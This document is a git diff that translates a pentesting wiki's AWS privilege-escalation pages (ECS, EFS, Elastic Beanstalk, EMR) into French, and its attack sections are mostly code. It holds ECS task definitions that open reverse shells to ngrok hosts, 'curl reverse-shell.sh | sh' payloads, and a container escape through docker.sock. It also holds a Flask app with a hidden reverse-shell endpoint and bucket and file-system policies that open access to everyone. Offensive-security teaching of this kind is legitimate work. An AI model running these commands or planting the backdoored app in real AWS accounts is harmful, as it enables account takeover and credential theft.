-    --task-role-arn  "$ECS_ROLE_ARN" \
-    --network-mode "awsvpc" \
-    --cpu 256 --memory 512\
-    --requires-compatibilities "[\"FARGATE\"]" \
-    --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
 
 # Run the task creating a service
 aws ecs create-service --service-name exfiltration \
-    --task-definition iam_exfiltration \
-    --desired-count 1 \
-    --cluster "$CLUSTER_ARN" \
-    --launch-type FARGATE \
-    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
 
 # Run the task updating a service
 aws ecs update-service --cluster <CLUSTER NAME> \
-    --service <SERVICE NAME> \
-    --task-definition <NEW TASK DEFINITION NAME>
+--service <SERVICE NAME> \
+--task-definition <NEW TASK DEFINITION NAME>
 ```
-
-**Potential Impact:** Direct privesc to any ECS role.
+**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:
-
+En fait, juste avec ces permissions, il est possible d'utiliser des remplacements pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire avec quelque chose comme :
 ```bash
 aws ecs run-task \
-    --task-definition "<task-name>" \
-    --overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
-    --cluster <cluster-name> \
-    --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
+--task-definition "<task-name>" \
+--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster <cluster-name> \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-
-**Potential Impact:** Direct privesc to any ECS role.
+**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
-This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
-You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
+Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
+C'est toujours intéressant car si vous pouvez exécuter un conteneur arbitraire, même sans rôle, vous pourriez **exécuter un conteneur privilégié pour échapper** au nœud et **voler le rôle IAM EC2** et les **autres rôles de conteneurs ECS** s'exécutant dans le nœud.\
+Vous pourriez même **forcer d'autres tâches à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**section Privesc vers le nœud**](aws-ecs-privesc.md#privesc-to-node)).
 
 > [!WARNING]
-> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.
-
+> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
 ```bash
 printf '[
-    {
-        "name":"exfil_creds",
-        "image":"python:latest",
-        "entryPoint":["sh", "-c"],
-        "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-        "mountPoints": [
-            {
-                "readOnly": false,
-                "containerPath": "/var/run/docker.sock",
-                "sourceVolume": "docker-socket"
-            }
-        ]
-    }
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
 ]' > /tmp/task.json
 
 printf '[
-    {
-        "name": "docker-socket",
-        "host": {
-            "sourcePath": "/var/run/docker.sock"
-        }
-    }
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
 ]' > /tmp/volumes.json
 
 
 aws ecs register-task-definition --family iam_exfiltration \
-    --cpu 256 --memory 512 \
-    --requires-compatibilities '["EC2"]' \
-    --container-definitions file:///tmp/task.json \
-    --volumes file:///tmp/volumes.json
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
 
 
 aws ecs run-task --task-definition iam_exfiltration \
-    --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
-    --launch-type EC2
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
 
 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
 ```
-
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
-However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't).
+Un attaquant avec les **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions de description car il est nécessaire d'exécuter `aws ecs execute-command`).\
+Cependant, pour ce faire, l'instance de conteneur doit exécuter l'**agent ExecuteCommand** (qui par défaut ne l'est pas).
 
-Therefore, the attacker cloud try to:
-
-- **Try to run a command** in every running container
+Par conséquent, l'attaquant pourrait essayer de :
 
+- **Essayer d'exécuter une commande** dans chaque conteneur en cours d'exécution
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-   echo "Cluster $cluster"
-   for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-      echo "  Task $task"
-      # If true, it's your lucky day
-      aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-   done
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
 done
 
 # Execute a shell in a container
 aws ecs execute-command --interactive \
-   --command "sh" \
-   --cluster "$CLUSTER_ARN" \
-   --task "$TASK_ARN"
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
 ```
+- S'il a **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]`
+- S'il a **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]`
+- S'il a **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]`
+- S'il a **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]`
 
-- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
-- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
-- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
-- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
+Vous pouvez trouver **des exemples de ces options** dans **les sections précédentes sur le privesc ECS**.
 
-You can find **examples of those options** in **previous ECS privesc sections**.
-
-**Potential Impact:** Privesc to a different role attached to containers.
+**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.
 
 ### `ssm:StartSession`
 
-Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:
+Vérifiez dans la **page de privesc ssm** comment vous pouvez abuser de cette permission pour **privesc vers ECS** :
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -198,7 +186,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:
+Vérifiez dans la **page de privesc ec2** comment vous pouvez abuser de ces permissions pour **privesc vers ECS** :
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -206,30 +194,29 @@ aws-ec2-privesc.md
 
 ### `?ecs:RegisterContainerInstance`
 
-TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
+TODO : Est-il possible d'enregistrer une instance d'un autre compte AWS afin que les tâches soient exécutées sur des machines contrôlées par l'attaquant ??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
-> TODO: Test this
-
-An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
+> TODO : Tester cela
 
+Un attaquant avec les permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, et `ecs:DescribeTaskSets` peut **créer un ensemble de tâches malveillant pour un service ECS existant et mettre à jour l'ensemble de tâches principal**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**.
 ```bash
 bashCopy code# Register a task definition with a reverse shell
 echo '{
-  "family": "malicious-task",
-  "containerDefinitions": [
-    {
-      "name": "malicious-container",
-      "image": "alpine",
-      "command": [
-        "sh",
-        "-c",
-        "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-      ]
-    }
-  ]
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
 }' > malicious-task-definition.json
 
 aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
@@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
+**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, impactant potentiellement sa fonctionnalité ou exfiltrant des données sensibles.
 
-**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
-
-## References
+## Références
 
 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 8a54b28d8..eeb1d61b2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -4,97 +4,83 @@
 
 ## EFS
 
-More **info about EFS** in:
+Plus **d'infos sur EFS** dans :
 
 {{#ref}}
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it.
+N'oubliez pas que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des politiques IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.
 
 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
 
-With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted.
-
-To delete the policy:
+Avec l'une de ces autorisations, un attaquant peut **changer la politique du système de fichiers** pour **vous donner accès** à celui-ci, ou simplement **le supprimer** afin que **l'accès par défaut** soit accordé.
 
+Pour supprimer la politique :
 ```bash
 aws efs delete-file-system-policy \
-    --file-system-id <value>
+--file-system-id <value>
 ```
-
-To change it:
-
+Pour le changer :
 ```json
 aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
 
 // Give everyone trying to mount it read, write and root access
 // policy.json:
 {
-    "Version": "2012-10-17",
-    "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-    "Statement": [
-        {
-            "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": [
-	       "elasticfilesystem:ClientRootAccess",
-               "elasticfilesystem:ClientWrite",
-               "elasticfilesystem:ClientMount"
-            ],
-            "Condition": {
-                "Bool": {
-                    "elasticfilesystem:AccessedViaMountTarget": "true"
-                }
-            }
-        }
-    ]
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
 }
 ```
-
 ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
 
-With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**.
-
+Avec cette autorisation, un attaquant pourra **monter l'EFS**. Si l'autorisation d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
 ```bash
 sudo mkdir /efs
 sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
 ```
+Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il soit monté et pour **accéder** à ce système de fichiers **en tant que root**.
 
-The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.
 
 ### `elasticfilesystem:CreateMountTarget`
 
-If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege:
-
+Si un attaquant se trouve dans un **sous-réseau** où **aucun point de montage** de l'EFS n'existe. Il pourrait simplement **en créer un dans son sous-réseau** avec ce privilège :
 ```bash
 # You need to indicate security groups that will grant the user access to port 2049
 aws efs create-mount-target --file-system-id <fs-id> \
-    --subnet-id <value> \
-    --security-groups <value>
+--subnet-id <value> \
+--security-groups <value>
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**:
-
+Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **modifier cela en changeant les groupes de sécurité sélectionnés** :
 ```bash
 aws efs modify-mount-target-security-groups \
-    --mount-target-id <value> \
-    --security-groups <value>
+--mount-target-id <value> \
+--security-groups <value>
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 613dd3a47..0755973ea 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -4,19 +4,18 @@
 
 ## Elastic Beanstalk
 
-More **info about Elastic Beanstalk** in:
+Plus **d'infos sur Elastic Beanstalk** dans :
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
+> Pour effectuer des actions sensibles dans Beanstalk, vous aurez besoin d'avoir **beaucoup de permissions sensibles dans de nombreux services différents**. Vous pouvez vérifier par exemple les permissions accordées à **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
-### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
-
-With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it.
+### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 & beaucoup d'autres
 
+Avec **des permissions d'écriture sur le bucket S3** contenant le **code** de l'environnement et des permissions pour **reconstruire** l'application (il faut `elasticbeanstalk:RebuildEnvironment` et quelques autres liées à `S3`, `EC2` et `Cloudformation`), vous pouvez **modifier** le **code**, **reconstruire** l'application et la prochaine fois que vous accédez à l'application, elle **exécutera votre nouveau code**, permettant à l'attaquant de compromettre l'application et les identifiants de rôle IAM associés.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, et plus...
 
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
-
-The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
-
-- Create an AWS Elastic Beanstalk application:
+Les permissions mentionnées ainsi que plusieurs **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** et **`elasticloadbalancing`** sont nécessaires pour créer un scénario Elastic Beanstalk brut à partir de zéro.
 
+- Créer une application AWS Elastic Beanstalk :
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-
-- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
-
+- Créez un environnement AWS Elastic Beanstalk ([**plateformes prises en charge**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
+Si un environnement est déjà créé et que vous **ne voulez pas en créer un nouveau**, vous pouvez simplement **mettre à jour** celui existant.
 
-If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one.
-
-- Package your application code and dependencies into a ZIP file:
-
+- Emballez votre code d'application et vos dépendances dans un fichier ZIP :
 ```python
 zip -r MyApp.zip .
 ```
-
-- Upload the ZIP file to an S3 bucket:
-
+- Téléchargez le fichier ZIP dans un bucket S3 :
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
-
-- Create an AWS Elastic Beanstalk application version:
-
+- Créer une version d'application AWS Elastic Beanstalk :
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
-
-- Deploy the application version to your AWS Elastic Beanstalk environment:
-
+- Déployez la version de l'application dans votre environnement AWS Elastic Beanstalk :
 ```bash
 aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
 ```
-
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**:
+Tout d'abord, vous devez créer un **environnement Beanstalk légitime** avec le **code** que vous souhaitez exécuter dans la **victime** en suivant les **étapes précédentes**. Potentiellement un simple **zip** contenant ces **2 fichiers** :
 
 {{#tabs }}
 {{#tab name="application.py" }}
-
 ```python
 from flask import Flask, request, jsonify
 import subprocess,os, socket
@@ -89,34 +74,32 @@ application = Flask(__name__)
 
 @application.errorhandler(404)
 def page_not_found(e):
-        return jsonify('404')
+return jsonify('404')
 
 @application.route("/")
 def index():
-        return jsonify('Welcome!')
+return jsonify('Welcome!')
 
 
 @application.route("/get_shell")
 def search():
-        host=request.args.get('host')
-        port=request.args.get('port')
-        if host and port:
-            s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-            s.connect((host,int(port)))
-            os.dup2(s.fileno(),0)
-            os.dup2(s.fileno(),1)
-            os.dup2(s.fileno(),2)
-            p=subprocess.call(["/bin/sh","-i"])
-        return jsonify('done')
+host=request.args.get('host')
+port=request.args.get('port')
+if host and port:
+s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+s.connect((host,int(port)))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+p=subprocess.call(["/bin/sh","-i"])
+return jsonify('done')
 
 if __name__=="__main__":
-    application.run()
+application.run()
 ```
-
 {{#endtab }}
 
 {{#tab name="requirements.txt" }}
-
 ```
 click==7.1.2
 Flask==1.1.2
@@ -125,44 +108,42 @@ Jinja2==2.11.3
 MarkupSafe==1.1.1
 Werkzeug==1.0.1
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
-
+Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre rev shell, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**):
 ```json
 {
-  "Version": "2008-10-17",
-  "Statement": [
-    {
-      "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": [
-        "s3:ListBucket",
-        "s3:ListBucketVersions",
-        "s3:GetObject",
-        "s3:GetObjectVersion",
-        "s3:*"
-      ],
-      "Resource": [
-        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
-        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
-      ]
-    },
-    {
-      "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
-      "Effect": "Deny",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "s3:DeleteBucket",
-      "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
-    }
-  ]
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"s3:ListBucket",
+"s3:ListBucketVersions",
+"s3:GetObject",
+"s3:GetObjectVersion",
+"s3:*"
+],
+"Resource": [
+"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
+"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
+]
+},
+{
+"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
+"Effect": "Deny",
+"Principal": {
+"AWS": "*"
+},
+"Action": "s3:DeleteBucket",
+"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
+}
+]
 }
 ```
 
@@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 0025abe52..44c73fd8d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -4,7 +4,7 @@
 
 ## EMR
 
-More **info about EMR** in:
+Plus **d'infos sur EMR** dans :
 
 {{#ref}}
 ../aws-services/aws-emr-enum.md
@@ -12,57 +12,51 @@ More **info about EMR** in:
 
 ### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
 
-An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\
-Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`).
-
+Un attaquant avec ces permissions peut **lancer un nouveau cluster EMR en attachant des rôles EC2** et essayer de voler ses identifiants.\
+Notez que pour ce faire, vous devez **connaître une clé privée ssh importée dans le compte** ou en importer une, et être capable d'**ouvrir le port 22 dans le nœud maître** (vous pourriez être en mesure de le faire avec les attributs `EmrManagedMasterSecurityGroup` et/ou `ServiceAccessSecurityGroup` à l'intérieur de `--ec2-attributes`).
 ```bash
 # Import EC2 ssh key (you will need extra permissions for this)
 ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
 chmod 400 /tmp/sshkey
 base64 /tmp/sshkey.pub > /tmp/pub.key
 aws ec2 import-key-pair \
-    --key-name "privesc" \
-    --public-key-material file:///tmp/pub.key
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
 
 
 aws emr create-cluster \
-    --release-label emr-5.15.0 \
-    --instance-type m4.large \
-    --instance-count 1 \
-    --service-role EMR_DefaultRole \
-    --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
 
 # Wait 1min and connect via ssh to an EC2 instance of the cluster)
 aws emr describe-cluster --cluster-id <id>
 # In MasterPublicDnsName you can find the DNS to connect to the master instance
 ## You cna also get this info listing EC2 instances
 ```
+Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants du rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
 
